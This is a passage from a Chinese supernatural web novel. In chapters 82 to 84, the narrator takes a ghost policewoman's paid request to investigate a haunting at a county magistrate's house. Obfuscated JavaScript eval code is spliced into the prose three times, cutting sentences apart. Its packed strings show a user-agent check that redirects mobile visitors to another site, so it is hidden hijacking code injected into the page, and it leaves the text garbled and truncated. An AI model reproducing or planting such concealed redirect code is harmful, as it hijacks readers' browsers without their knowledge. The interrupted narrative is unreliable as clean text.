流苏一口拒绝道:“不!这是给二姐的伙食费,我住在二姐家总不能真的白吃白喝。” 我不肯同意:“这就是你自己家,还需要交什么伙食费!” 流苏后退两步坚决道: “二姐不要这些钱,我会在家里住得不安心的,而且我只有这些钱…… 以后可能还要在二姐这里住好几年,反正怎么算都是二姐吃亏,这两千块在大城市还不够一个月的房租,就当是我的一片心意,二姐你就收下吧。” 我见她态度坚定,一再坚持,只好暂时收了这些钱。 颓废的躺回摇椅上,朝她摆摆手:“好啦,我收了,你先去玩吧,我再躺几个小时。” “好。”流苏听话地跑回堂屋,祸害柳云响去了。 我伸手把钱塞准备离开的胡玉衡后腰腰带内,胡玉衡不解地回头看我,我闭上眼睛慵懒道:“你帮你徒弟先拿着,我不喜欢管钱。” 胡玉衡心领神会的默了默,点头:“好。” 我又在摇椅上睡了两个小时,太阳下山时分,被一阵嗡嗡震动声吵醒了过来。 我掏出口袋里的手机,发现上面显示了一串陌生号码…… 好在归属地是本地,不然我怕是会把它当成**电话挂了。 划开接听键,手机放在耳边,对面先出声打了招呼:“风女士,是我。” 对面女子的声音很有辨识度,我立马就想起她是前几天来处理张二桥的那名女警官…… 我从摇椅上坐起身,“警察同志,你有什么事吗?” 电话那头的女人沉默几秒,说:“上次的故事,还有后续,你想听吗?” 特意打电话来给我讲故事的? 我一头雾水的礼貌回应:“您说……” 女警官咽了口口水,道: “那个自称重生的女孩,最近被厉鬼缠上了,是她亲生父母养女的冤魂。 她被吓得精神失常,夜夜头痛欲裂,她父母为了保护她,请了一位民间先生,可那位先生做了两次法,都声称厉鬼已经被降服了。 但后来,她仍旧夜夜能看见养女的鬼魂。 她父母无计可施,转而又找了挚友家修道的两个儿子,请他们捉鬼,然而,仍旧捉完一个,还有下一个。 这两天我设法去医院调取了她近两年的体检报告,报告上的确显示她身体一切正常,没有丧失生育能力。 风女士,你说她究竟是真重生了,还是,患上了幻想症?” 第82章 掉进鬼窝了 “做了两次法,都声称厉鬼被降服了,后来又找了别的道士捉鬼,可家里还是有鬼……难道,两次找的道士都是江湖骗子?”我凝声质疑。 女警官深呼吸,说: “第一次找的民间先生,是你们村的王瘸子。 第二次找的道长,是你们村的杨道长。 风女士,这两位都是你的同村,你应该对他们很熟悉,很了解他们的水平。” “王瘸子和杨道长?去捉鬼的道士原本来是杨大哥和杨泽安。” 我讶然道: “王瘸子主看风水,也能捉鬼。虽说为人贪得无厌,但只要钱给得够多,王瘸子是有两把刷子的。 至于杨大哥和杨泽安,他俩更不是江湖骗子了,他们是京城五阳观门下的正式弟子。 五阳观可是天下玄门之首,我们村以前的怪事大部分都是杨大哥出面处理的!” “所以,她家,是真有鬼。” 女警官声音很低。 “现在的情况是,她父母执意认为是她的精神状况出了问题,可王先生与杨道长都一致认为她家里有很厉害的脏东西。 王先生提出要将死去的那个养女骨灰挖出来看看,却被她的父母与哥哥拒绝了。” “死者为大,再怎么说,他们也养了那个养女十来年,终究是有点感情了。 现在人都已经没了,再因为一些虚无缥缈的神鬼论去挖人家的骨灰,身为养父母,肯定是不会答应的。”我说。 想了下,我问女警官:“能告诉我,那个养女是**的吗?” 女警官嗯了声,回答道: “去年夏天,养女和她大吵了一架,她一怒之下当着父母的面拿出了养女作妖陷害她的所有证据,她父亲看见证据后气得当场甩了养女一巴掌。 养女那会子情绪也比较激动,吵着吵着就从医院六楼翻窗跳了下去,脑袋先落地,当场身亡。” “那,重生的女孩又是什么时候在家里看见养女亡魂的?” 女警官思考了下,报出精准时间:“今年阳历二月十六号,晚上九点。也是农历的,去年除夕夜。” 我诧异地安静好几秒。 这个时间,也太具体了点吧。 手机那头的女警官似猜出了我心中的疑惑,补充解释了句: “抱歉,职业习惯,我们办案办得多,习惯记每个案件的重要具体时间节点。” 我哦了声,表示理解,轻轻说下去: “除夕夜撞鬼这一点确实很奇怪,七月半是鬼魂的新年,所以七月十四七月十五两天阳间的阴气最重。 而除夕夜,是人间的新年,除夕与春节这两天,上面的阳气最充足。 加上除夕夜会有很多人家放炮仗烟花,所以应该不会有鬼胆子这么大往上面跑。 可王瘸子和杨大哥都确定她家有脏东西,会不会……是那个女孩确实精神状况受到了影响。 村里老人有种说法,人越怕鬼,鬼越吓人。 如果一个人在另一个人死后总是想着她,害怕她,是有可能会将鬼魂从下面引上来的。” 女警官斟酌道: “你的意思是,她在养女死后本来就对养女心生畏惧,多思多虑出现了幻觉,这才把养女的鬼魂真给引了上来?” 我道: “有这个可能,毕竟养女的死的确和她有关。 而且……如果这个世上根本没有什么重生,所谓的上辈子只是一场梦,或者是她的幻觉。 那这一世,养女并没有作恶成功,也没来得及害她失身、失去生育能力,那她报复养女,导致养女**身亡…… 这在玄学上,养女的死,就是她犯下的因。 当然这只是我的猜测,具体情况我并不了解,只是说,有这个可能。” 女警官犯难叹道: “闹鬼是真的,她精神出了问题也可能是真的,还有重生一说难辨真假……真是复杂。 不瞒你说,我之前也怀疑过她是不是想利用重生这个幌子,有意要除掉她父母养女这个绊脚石。 但我又找不到任何可以佐证这个猜想的证据,她的养女姐姐是主动**的,属于**,加上她现在被那些东西缠得日渐消瘦,我不敢再刺激她。 我很想弄清楚她身上到底发生了什么事,重生,究竟是真是假。 养女的死,究竟是意外,还是蓄谋已久。” 我小声询问:“你和这个女孩,又是什么关系?” 女警官坦然告诉我: “这个女孩是我师父妹妹的女儿。她小时候经常住在我师父家里,我师父一辈子未婚未育,从前都是把她当成自己亲闺女宠的。 去年她亲生父母找到她,对外公布了她的身份,我师父很开心,特意推了局里一个会去她家看望她,谁知道回来的路上被黑恶势力的头目盯上了,当晚……出了车祸。 司机当场身亡,我师父被送进医院时还有一口气,可惜进了抢救室没过几分钟,里面的医生就推门走出来说师父伤势过重已经去了。 我师父在进抢救室前,握着我的手一直和我重复她外甥女的名字,我明白她的意思,她是想让我帮她照顾她的外甥女。” 深呼一口气,女警官心情压抑地同我倾诉: “去年局里忙着侦察几起拐卖妇女儿童的案子,我没时间替师父去看她。 年底腊月二十八,局里放假,我才有机会约她出来见面。 她与我一见如故,聊得很投缘。 她喊我姐姐,喜欢搂着我的胳膊靠在我身上闭眼补觉,她说她一个人睡觉总是做噩梦,心里不踏实,在我身边她才能睡得安稳。 除夕夜那晚,她将自己锁在阁楼上哭着给我打电话,她说她看见死去的那个女孩了,那个女孩掐她脖子威胁她不许抢走自己的爸妈。 她和她哥哥说过这些事,可她哥哥不信她,非说她看错了,想多了。 那晚我怕她出事,连夜开车去她家找她,可却被她爸拦在了院门外,我赶过去的时候,她爸说她已经睡下了,我给她打电话,她也没接。 没办法,我只能原路返回,大年初二那天,我又去她家拜访,她坐在卧室窗边画画,情绪很平静,可画布上画的,却是一副恐惧的女孩被一双魔爪徒手挖出……那东西的画面! 而且,我还发现,她的胳膊上,有针眼,她家保姆清理她床头垃圾桶时,无意抖出来一支镇定剂空瓶。 我怀疑,她除夕那晚之所以没接电话,是被她爸妈注射了镇定剂。 我试图问她那晚后面发生了什么,她却记得不清楚了,只说自己哭着哭着就睡着了,连自己是怎么回卧室的,都忘记了。” “她爸妈给她打了镇定剂?”我越听越糊涂了:“她那晚不是第一次撞鬼么?为什么她家会有镇定剂?” 女警官嗯了声: “这件事我也觉得奇怪,我驱车到她家,不过半个小时的路程,就算临时打电话让家庭医生从医院调镇定剂,也不可能在半个小时内就给她打上了。 而且,正常父母的反应难道不应该是先安抚女儿的情绪么? 那晚她给我打电话时的状态,只是恐惧,哭泣,并没有任何过激的情绪。 连我的第一反应都是赶紧到她身边,抱着她,安慰她。 一个在极度恐惧状态下的女孩,为什么会被注射镇定剂。 她只是想寻个能保护她的怀抱,镇定剂,是给情绪激动有伤人倾向的精神病人用的。” 我理解不了地与她商量: “要不然,我先打电话问问杨大哥她家到底是什么情况,问出什么了,我再回电话告知你?” 她沉声拒绝:“不用。风小姐,我有个不情之请。我今天给你打电话,其实是想求你一件事。” 求我、一件事? 我隐隐察觉出几分不大对劲,尴尬道:“你不会,想让我帮你……去看看她家究竟是什么情况吧?” 女警官不好意思道:“我,会付你钱。三万。” “三、三万!”我惊愕高呼,好家伙,王瘸子杨大哥他们平时这么赚钱?! 怪不得狗杨泽安说在村里住唯一的烦恼就是有钱花不出去呢! 我之前还以为,他能说出这么嚣张的话,是他爸妈给他留下的巨额遗产给他的底气呢。 敢情是他接的活这么赚钱! 村里的捞尸师父们一个活也才要一千,碰上经济困难的家庭还要打八折呢! 狗东西,早告诉我看事这么赚钱啊,我家可是供了八个财神爷,一个活阎王呢! 电话那头的女警官哽了哽,犹豫着问道: “是、觉得太少了吗?价钱可以商量,只要你愿意接这个活,这三万可以只当定金,事成之后我可以再加三万。” “不不不、不少!”我被吓得说话都结巴了,三万啊! 别说买我去她家打探情况了,就算买她家那只鬼、一百只鬼的命,都绰绰有余! 这么多钱……我觉得我完全可以变态点,让我家龙仙大人把她家方圆十里的鬼都给连锅端了! 我,就是捉鬼界的新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17457442|200927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任卷王! “三万已经很多了。” 奈何我人美心善天生赚不了没良心的钱,相比于六万,还是三万拿着更踏实: “对了,警官姐姐,你愿意出这么多钱,为什么不直接去找杨大哥买消息?我以前没接过这种活。” 女警官轻轻吐气,直言道: “我、对他们都不放心。王瘸子人品怎样,随便就能调查出来,他见钱眼开,只要钱给够,黑的都能说成白的。 我可以拿钱买消息,别人也能拿钱封消息。我要是在别人拿钱封完消息后,再去买消息,很有可能会买到个假消息。 到时候,只会竹篮打水一场空。 至于杨道长,他父亲生前和那女孩的爸爸是好友,他的话,我不敢信。 只有你……不知道为什么,看见你的第一眼,我就觉得,你或许就是我要找的那个人。 昨天夜里,我突然很想联系你,本来我是想去槐荫村找你的,但今天局里忙,实在走不开。 我就让你们那边辖区派出所查了下你的联系方式,找到了你的手机号码。” 我明白地哦了声。 女警官平静道:“那就这么说定了,明天一早我开车去槐荫村接你、你们。你们和杨道长认识倒也好,等见了面,可以和他们了解一下情况。” “可你确定……” 我话还没说完呢,那头的女警官就已经把通话挂断了。 我拿着手机突然有点不知所措。 来真的啊?她一点都不怀疑我的业务能力吗? 更让我咂舌的是,下一秒她把钱给我转过来了! 三万块到账的提示音嘹亮回荡在安静的小院内…… 躺窗台鱼缸里的小银鱼立马就闻着味飞了出来: “三万块!谁给你转的?娘娘你背着我家大王在外有追求者了?” 站在堂屋门口的流苏刚塞进嘴里的葡萄就那么水灵灵掉在了地上。 “二姐……你中彩票了?” 柳云响从堂屋门后冒出头:“到底是被追求了还是中彩票了?” 颜如玉小声提醒:“轻声些,光彩吗,被大王听见咱们都得完!” 话音刚落,他家大王就一阵风扫至我身后,来查岗了。 我赶紧把手机交上去给他检查: “不是男人转的,是女人……上次帮苏苏抓走张二桥那个神经病的女警官,她要我帮她查件事,给了我三万块钱报酬。” 他没接我的手机,未卜先知地清冷开口:“本王知道。本王原以为,她昨晚就会来找你……没想到,她的执念竟深到如此地步。” 我捧着手机有点晕:“你在说什么,我怎么听不太懂?” 帝曦垂眸瞟我手机:“你再看看,刚才给你打过来的那个号码。” 我好奇地翻开通话记录,上面显示的号码……很正常啊! “有什么问题吗?” 帝曦道:“回拨过去。” 我虽然不理解他的用意,但还是照做了。 只是,刚回拨,对面就传来自动提示女声:“你好,你所拨打的电话不在服务区,请稍后再拨……” 挂断再拨,还是不在服务区。 “她办公的地方信号那么差吗?”我喃喃自语。 帝曦挑眉:“挂断,再看号码。” 我依旧照做…… 但,这次挂断后,手机屏幕上的号码突然变成了一串零! 我晃了晃手机怀疑道:“我手机坏了?” 显示不出号码了! 沈沐风没良心地从我背后幽幽飘过: “一串零,是阴间的号段,看来她的执念就是找到你,不然不可能用这个号码联系得上你。” 阴间、号段…… 我顿时被惊出一身冷汗。 “你们的意思是,她已经……” 沈沐风摇着折扇在院子里飘来飘去,“她要是不变成那样,也不会这么急着找你。是个可怜人,现在还想着破案。” “那我们还要不要接她这笔生意?”我征求帝曦的意见。 帝曦颔首道:“自然要,你不想赚钱了?” 赚钱……自然是要赚的! 三万啊,够给家里添置不少新家具了。 我卖一只泥塑,也才五百。 决定接下这笔生意后,我打算给杨泽安打个电话通个气。 但巧的是,他竟先一步把电话打过来,风风火火地找我求助了! “萦萦!救救救、救我!请求支援,我们需要你和你家龙王爷!快来捞我们,我们掉进鬼窝了!” 我:“啊?” 第83章 不能说男人老,容易伤自尊 杨泽安气喘吁吁地把他们如何接到父亲生前好友求助电话,又如何技高人胆大的没弄清状况就掺和进去,结果查着查着被五十多只鬼举刀追杀的全过程给简略讲述一遍。 大致情况是,一个星期前杨大哥带着他回县城去解决父亲生前好友家里闹鬼一事,当时对方家里已经通过其他人介绍,先请过王瘸子了,奈何王瘸子没处理好。 他们去对方家里,与王瘸子碰了面,王瘸子为了证明自己的本事不差,还特意把抓进坛子里的两只小鬼拿给杨大哥及杨泽安看了。 他们确认了王瘸子没撒谎,便决定与王瘸子联手查清对方家里究竟撞上了什么邪。 前几天他们只是发现对方家里不断有冤魂出现,且冤魂现身吓唬人之前,都会故意扮成家中养女的模样。 于是就造成了他们抓一个养女,第二天又冒出来另一个养女的失控场面。 而且这些灵魂的目的性很强,现身后的终极目标皆是冲着吓唬家里亲生女儿去的…… 他们觉得,总这样源源不断地抓所谓的“养女鬼魂”不是办法,所以就特意在今天那个新鬼魂现身时,故意放水让她逃跑。 然后他们兄弟俩再偷偷跟上那个新鬼魂,想知道那个新鬼魂老巢在何处。 结果他俩就直接跟着那只新鬼闯进了一片乱葬岗,被一窝厉鬼拿着菜刀追着砍了。 以杨大哥的技术,同时干二十只厉鬼尚还能应付,干五十只厉鬼就有些寡不敌众了…… 至于杨泽安,他就是个划水的混子,道法修得和我高中时期的数学成绩差不多——烂得稀碎! 帮不上杨大哥什么忙,只能起到个危急关头打电话摇外援的作用。 他先是一个电话甩给了远在苗域的阿乞师叔,说明状况后阿乞师叔又果断让他来喊我和帝曦…… 说是只有我捏的泥人才能渡化那些厉鬼,要是文渡渡不成,就让他龙哥直接将对方物理超度了。 “他们家的情况,真是乱到颠覆我的三观! 据他家保姆说,他家养女打小就娇生惯养,占有欲特别强,自从亲女儿回来后,养女和亲女儿就隔三岔五撕起来。 亲女儿也是个倔脾气,看见养女顶替自己的位置在家里享了十来年的荣华富贵,就心里很不平衡。 养女没脑子但骄纵,亲女儿城府深,亲女儿为了对付养女,私下偷偷收集了养女作恶的证据. 包括但不限于养女仗着自己老爹职务之便收受某个企业上百万贿赂,养女在亲哥公司做项目,中饱私囊把政府拨款修建大桥的资金贪了三分之二. 还有养女准备买凶在慈善舞会的舞厅吊灯上做手脚,打算**砸死亲女儿,等等等等…… 养女仗着自己有遗传性血液病逼着亲女儿给她输血,亲女儿不干了,直接把这些证据抖了出去,然后养女就在医院跳了。 她家里人吧,现在提起那个养女就是一肚子火,表现得很厌恶养女,但怪的是,王瘸子要挖养女的骨灰,她父母却又表现得情绪很激动,坚决不许任何人动养女的墓。 还有她那个哥哥,就一整个割裂开!上一秒还在护着亲妹妹控诉养妹的恶毒,下一秒就因为王白雾一句针对他养妹的难听话而大发雷霆,那凶狠模样,像是恨不得站起来扇王白雾一巴掌。 讨厌和下意识的保护这两种情绪怎么会同时出现在面对一个人的情况下……反正我是快疯了! 萦啊,你快来救我们啊,这么多厉鬼,我和我哥实在应付不过来啊!” 我也觉得很乱。 厌恶养女,却忌讳别人扰养女泉下安宁。 不喜欢养妹,却不允许别人对养妹不敬。 他们家的人都这么护内吗? 我和杨泽安说了那位女警官的事,杨泽安意外地连呼好巧。 电话打了一半又被杨大哥抢了去,杨大哥说他也留意到那名女警官了,只是那女孩的父母似乎不太喜欢那位女警官,非常抵触女警官与女儿接触。 我同他解释了女警官与女孩的关系,他才明白女警官为什么那样在意女孩的近况。 提及重生一说,杨大哥和杨泽安都愣住了。 他们说,女孩父母根本没有和他们说过这一茬。 只讲过,自家女儿被吓得有些神智失常,让他们捉鬼的时候别刺激到自家女儿。 而他们都是男人,实在不太好与女孩单独相处问什么问题,以往找女孩了解情况都是女孩哥哥陪同,帮着女孩回答。 女孩的精神状况很差,每天都是无精打采的,偶尔还会坐在窗边画些诡异的油画。 “太具体的情况我们口述也无法精准表达,等你们明天过来了亲眼看看就知道了。 对了,那女孩父母有点着急,这两天又在通过其他渠道找能人异士。 今早我听见王瘸子在和人说话,我怀疑他把江墨川和风柔也叫来了。” “叫他俩做什么?”我难以理解地抱怨了句:“还真是冤魂不散,走哪都能碰见!” 杨大哥说:“为求财吧,毕竟这次的报酬,是三十万。” 我顿时僵在原地,心累的抽了抽嘴角…… 突然就理解了! “杨大哥,你们从前也没告诉过我,抓鬼这么赚钱啊!” 我原以为我拿了三万已经够黑了,没想到他们出手就是三十万。 难怪那位女警官后面加钱加得那么爽快! 杨泽安不要脸地在旁边添了句:“啊?三十万很多吗?都不够修我家一个车轮胎!” 我:“……” 我和他们这群富二代没有共同语言。 杨大哥踹了杨泽安一脚,朗声安慰我: “好了小萦,我们明天在县城里等你。本来我们还在想着要不要派车去接你们,既然那位警官同志明天开车去找你们,我们也就放心了。” 放心个屁,人家都、那样了…… 还能开车吗! 我欲哭无泪地叹口气,低声应下:“好嘞杨大哥,明天见。” 希望明天杨大哥看见那位女同志不会立马亮出桃木剑…… 流苏知道我明天要去县城,怯怯抓着我袖子不敢撒手。 我明白她不敢一个人在家,就摸摸她脑袋发话道: “明天咱们一起去!无论何时,无论去哪,姐姐都不会丢下你。” 流苏瞬间转忧为喜,开心抱住我胳膊:“二姐你最好了!” 我简单收拾了几样出门要用的小东西,充电宝,身份证,家里的钥匙……还有镇痛片。 放进小背包里,还顺手多塞了几包纸巾。 流苏的随身小物品也被我装了进来。 我和流苏的东西没有几样,所以简单背个小背包随时就能走。 麻烦的是,怎么把他们的牌位带上。 或者,这次挑谁跟我们走。 我盯着堂屋的牌位犯难时,帝曦突然伸手朝我递来一串铜铃,淡淡启唇: “此乃藏息铃,可作为仙家们短暂寄居之处,以后你出门,可以不用费力气打包这些牌位,让柳云衣他们进入藏息铃内,你再将藏息铃随身携带便好。” “藏息铃……”我把铃铛从他掌心取过来,拎在指尖,晃了晃,八枚古铜色仙铃叮叮当当清脆响动,声声悦耳。“好方便实用的东西!” 他道:“此物亦可做防身法器,本王现在就把如何操纵它的心法传授给你,以后你就是此物的主人,只有你才能操控此物。” 说完,他威严并指施法,指尖亮起一团金光,在我脑门子前一扫,就将那些秘法强势塞进了我的脑子里。 我晃了神,再反应过来,感觉有点奇妙,抓住他的手贪心道: “帝曦,你要不然再传我点法力……这样我就不用自个儿修炼了! 你给我点,下次我再见到江墨川说不准就能和他硬碰硬过上几招了!” “你倒是会偷懒。” 帝曦冷漠抽过手,顺带推了下我的脑门子,差点摇匀我的脑浆,拿我没办法道: “等你的龙鳞找回来,有些与生俱来的能力就能慢慢恢复。 用不上本王将自己的法力传给你。 何况你总在江墨川手上吃亏单纯是因为实力悬殊么? 分明是你傻,总被他骗! 江墨川那脑子,耍你简直是大材小用。” 我:“……” 瘪了瘪嘴,我抱住他胳膊就委屈嚎啕:“你又扎我心!你就不能少损我吗!龙仙大人,你这么毒舌是要注孤生的!” 他哽住,深深看了我一眼,故意呛我:“你放心,本王绝不会注孤生,本王这不是,还有你么!” 我捶胸哀嚎:“你把我气**可不就注孤生了嘛!” 他没良心道:“本王对自己的实力还是非常有信心的,本王在,你必然死不了。” 缓了两秒,不悦要求:“别捶了,震着本王了!” 我捶胸口的动作一顿,恍然大悟:“还能这样?” 试探着举起拳头,往他胸口重重捶了下…… 结果还真将我的心脏震得猛一跳,害我差点被口水呛到。 原来……我们俩现在,等同于共用一颗心脏。 所以我心跳加速,他也会。我难受,他能感知到,他不开心,我也能察觉到…… 我捶自己心,他的心脏也会震动。 这个共生契,有点说法。 他深呼吸,把我手从他胸口拿下去: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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见到我和苏苏,女警官礼貌报以一笑,朝我友好伸手: “你好,风小姐,我姓郑,叫郑棠,你可以喊我郑姐。” 我把手搭上去,“我叫风萦,我妹妹风流苏。” 女警官掌心冰凉,和善点头:“好。上车吧!” 拉开车门,送我们进去。 上了车,她系好安全带,熟练地启动车子脚踩油门…… 流苏看着她的背影身上发抖,默默将我胳膊搂得更紧些。 我知道她想问什么……我也好奇,她都这样了,怎么还能开车。 车子离开槐荫村驶上了进城的大路,她拿过旁边的手机看了眼,纳闷道: “我这手机怎么总显示找不到信号,真是怪了,这两天队里的同志给我打电话总是不在服务区,我也打不通别人的电话,但又可以联系上你……仅能联系上你。” 我后背发毛地咽了口口水,干笑道:“可能、手机坏了,该换了吧!” 她嗯了声,成熟稳重道:“的确该换了,都用五年了。” 流苏无声地将脑袋埋进我怀里…… 一个小时后,车子驶入城区,又快速行驶了四十分钟,才在北郊区一片别墅楼区域入口停下来。 郑警官给守门的安保看了眼证件,安保才按起拦车杆,放我们进去。 苏苏趴在车窗边看着外面一尘不染的马路,两边花红柳绿的绿化,还有训练有素的巡逻人员,忍不住感慨道: “哇,这个地方的楼好漂亮,绿化也做得好美,安保人员有种古代锦衣卫的感觉,住在这里的人,一定都很有钱吧。” 郑警官拐弯进了条岔路:“不是有钱,而是有权。” 苏苏不解地回头:“有权?” 郑警官点点头:“县长和上面当官的,都住在这里。这里是真正的家属大院,我们今天要拜访的,就是于县长。” 我和苏苏皆是怔住,搞半天,是要去县长家! 难怪和杨大哥老爸是好友呢! 进于家别墅时,我们还被拦了下,等安保人员给主人打了通电话后,才肯放门禁让我们的车进去。 进了大院子,郑警官轻车熟路地先停车,然后带我们走侧门进别墅主楼。 好不容易进去了,只见客厅里端坐着一名五十来岁身穿黑色夹克,不怒自威的男人。 旁边的沙发上坐着一个年轻女孩及一个穿白旗袍披黄色绣花披肩的中年妇人。 我远远就觉得那个年轻女孩的背影眼熟…… 走近才发现,还真是她! 那女孩听见动静,面带笑意地扭头,看见我和流苏,眼底的笑浸上三分寒意。 风柔,她竟然比我们早来了一步。 风柔文静起身,假装热络地和我们打招呼:“小萦流苏!你们终于来了!” 扭头又和贵妇人欢喜说:“干妈,这就是我和你提过的小萦。” 干妈…… 她什么时候认县长夫人当干妈了? 第84章 不巧,冤家路窄 贵妇人面若冰霜地瞟了我们一眼,没有说话。 穿着黑夹克坐在真皮单人沙发上的于县长从容端起咖啡杯,抿了口,端着官架子冷冷问道: “这就是你从槐荫村找来的高人?龙女转世,听着倒是挺厉害,可惜,都是那些没有文化的老百姓私底下胡乱传的! 这世上要是真有龙,又怎么会转生成人,出现在我们的世界。 这种鬼神乱力的说法,骗骗不识字的农民也就算了。我要的是能人异士,能帮我处理玄学方面难题的术士,呐,现在我已经找到了。 你接来的这两位,两个年轻小姑娘懂什么玄学,原路送回去吧,我不需要了!” 郑警官没搭理他,自顾自地绕到另一个真皮单人沙发前坐下,一点也不见外地拿起桌上茶壶,给自己倒了杯热茶。 随后从口袋里掏出白色小药瓶,动作利落地扭开倒出两粒,闷进嘴里用茶水送服。 “今天我既然把她们带来了,就没打算再无功而返。” 放下茶杯,郑警官底气足得可怕,抬眸直视于县长的双眼,挺直腰杆道: “那是你亲女儿,你不希望她能好起来,摆脱困扰多月的噩梦吗?你难道真打算眼睁睁看着她被所谓的索命冤魂缠死? 既然你也找到了高人,那不如让你请的高人和我找的高人一起处理这件事,反正又不用你再掏钱。 处理这种事,自然是预备方案越多越好。” 说完,郑警官拍拍身边的位置,直接招呼我和流苏:“坐,不要客气!今晚我们就在这边住下,方便随时应对突发情况。” 我与流苏相视一眼,根本不敢坐,总觉得哪里怪怪的。 郑警官一个小**……怎么敢在县长面前这样、松弛? 这可是她上司的上司啊! 郑警官见我们有点不知所措,又语气柔软几分再次提醒: “坐,不要害怕,你们是客人。别的客人能坐,你们也能坐。县长也不能官僚主义,身上官味太重不是? 何况于县长之前给我们开廉洁办公大会的时候自己也说过,上班时间,在那栋政府办公大楼里他是县长,离开了衙门,他就是个普通人家的顶梁柱、普通孩子的父亲。 今天是我请你们来这边办事,不是你们主动要来这里看人脸色的。” 她话都说到这个份上了,我和流苏只好领了她这份好意,听话在旁边坐下。 于县长黑着脸靠在沙发上喝咖啡,扫了眼她手里的药瓶,蹙眉语气不悦地责备道: “你才多大岁数?就开始吃这些药了!我要把你调到办公室工作,你偏不答应! 等你七老八十了,怕是得老年痴呆瘫床上!” 郑警官不屑勾唇,把小药瓶塞回口袋里:“县长说笑了,我恐怕也活不到那个岁数,不会有老年痴呆瘫痪在床的风险。” 风柔也察觉到这两人的关系不同寻常了,干笑着坐回去,挽住县长夫人胳膊,问县长夫人:“干妈,这位是……” 县长夫人面不改色地淡淡介绍:“这位是县**局刑侦科的郑警官,也是我爱人以前的徒弟。” “原来是郑姐姐啊,难怪干爸这么关心郑姐姐。”风柔茶里茶气地笑道。 郑警官不领情地冷着脸纠正:“叫我郑姐就好,你这个岁数的女孩,用叠词叫我,我不习惯。” 风柔被郑警官一句话噎住,心虚地缩在县长夫人肩后躲着。 郑警官语气生硬地问于县长:“这位呢?不介绍一下吗。我可不记得你有收干女儿的癖好,师父。” “师父”这两个字,郑警官咬得特别清晰。 于县长抬腿搭在另一条腿上,点了根烟吸: “这是王先生介绍来的高人,说是黄河娘娘的神使,黄河边上的神姑。 晓琼昨天和她见面,发现与她聊得挺投缘,想着玉澜已经去了,我们身边就玉晚一个女儿,就又收了个干女儿,就当是给玉晚作伴了。” 郑警官嗤笑一声,有意讥讽道:“你还真是喜欢女儿,亲女儿,养女儿,干女儿,一个接一个。” “小棠你这是什么话!” 县长夫人脸色难看地反驳道: “再怎么说,玉澜可是我们养了快二十年的孩子,她就算有错,也罪不至死。 现在她去了,我们生气归生气,可近二十年的养育之情也并非我们想忘就能忘的。 风柔这孩子懂事听话,我看见她,就像看见从前的玉澜,那时候她还没有被逼得走上歧途…… 怎么,我和老于认个干女儿,郑大队长都要管?” 郑警官淡然应对:“我还没有那个本事,能把手伸到县长与夫人的家里来,只是好奇问一下罢了,夫人的反应,未免有些太大了。” “你!”县长夫人被郑警官怼得没脾气,目光冷冽地剜了郑警官一眼,拢好肩上的披风别过头不愿再与郑警官聊天。 郑警官瞥了眼坐立不安的风柔,睿智道: “刚才我们进来,你好像和小萦还有流苏打招呼了,你也姓风,你和我请的高人是有什么亲戚关系吗?” 风柔尴尬拘谨的冲郑警官笑笑,见杆就爬:“对啊,我和小萦是堂姐妹,风流苏是我表妹,她随母亲姓。” 郑警官拿起茶杯抿了口温茶润润喉: “我听说,小萦刚出生,黄河附近就有小萦是黄河龙女转世的传闻。 那你这个黄河娘娘的神使,又是什么时候被选上的? 我怎么没听黄河边上的老人家们提过?” 风柔被郑警官下意识用审问嫌疑人的语气盘问她给问懵了,心虚至极地抠着手指眼神飘忽支支吾吾:“也就是、前一段时间,刚知道的。” 郑警官点点头:“哦,原来是这样。那我请的这两位比你靠谱多了,毕竟小萦她们的资历在这放着。” 风柔张了张嘴,一时被怼得无言以对,心浮气躁。 于县长许是觉得郑警官贬低了风柔,让自己没脸,便争论道: “神姑一般都是半路被选中,才当上的。神姑在民间传说里至少很常见,事迹知名度也高。 龙女转世,这和那些封建组织头头说自己是玉皇大帝王母娘娘转世有什么区别? 我还说我是托塔天王转世呢!你有证据证明我不是吗? 玄学固然要信,但不能过于迷信,过于夸张的说辞,都是糊弄老百姓的邪道!” 于县长说得头头是道,苏苏听不下去地小声嘟囔了句: “大表姐前几天还在村里说自己是黄河娘娘转世呢,咱们村的人都知道,照你这么说,大表姐也是邪道骗子。” 风柔顿时局促得红了脸,于县长端咖啡的手臂一顿,老脸愈发黑沉难看。 县长夫人闻言拧了拧眉,满眼嫌弃地用余光瞟风柔,将肩头绣花披肩拢好,有意挪开屁股离风柔远些。 我默默朝流苏竖了个大拇指,这丫头,打小就护我,分明生性胆小怯懦,别人一个凶狠眼神都能将她吓红眼眶,却在我的事上从不肯让步妥协半分。 她简直是我亲妹啊! 于县长闷咳两声,将咖啡杯内的饮品一饮而尽: “这两个女孩,我等会写张条子,你拿去政府招待所安排一下,让她们晚上住在招待所。我家,实在不方便留客。” 县长夫人帮衬道:“家里房间不够,住招待所比较宽敞。” “不用。”郑警官强势拒绝:“住三楼右边那间房就行,和我的客房只有一墙之隔。” “你要让她们住那间房?”于县长顿时情绪激动起来:“你说什么屁话,那间房是外人能随便住的吗!” 郑警官怔了怔,突然叹口气,假装失落:“那间房,以前又不是没有别人住过。师父,我现在连来您这住上几晚的特权,都被您取消了吗?” 于县长闻言脸色变了变,半晌,烦躁摆手:“行了!我不管你了,你爱怎么安排怎么安排!” 县长夫人却仍有顾虑,不大情愿地张了张嘴,想劝于县长来着。 可于县长压根没给她开口的机会,扶着皮沙发起身喘着粗气先上楼回房了。 见自家男人都走了,县长夫人也没在客厅久留,撂下一句要去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 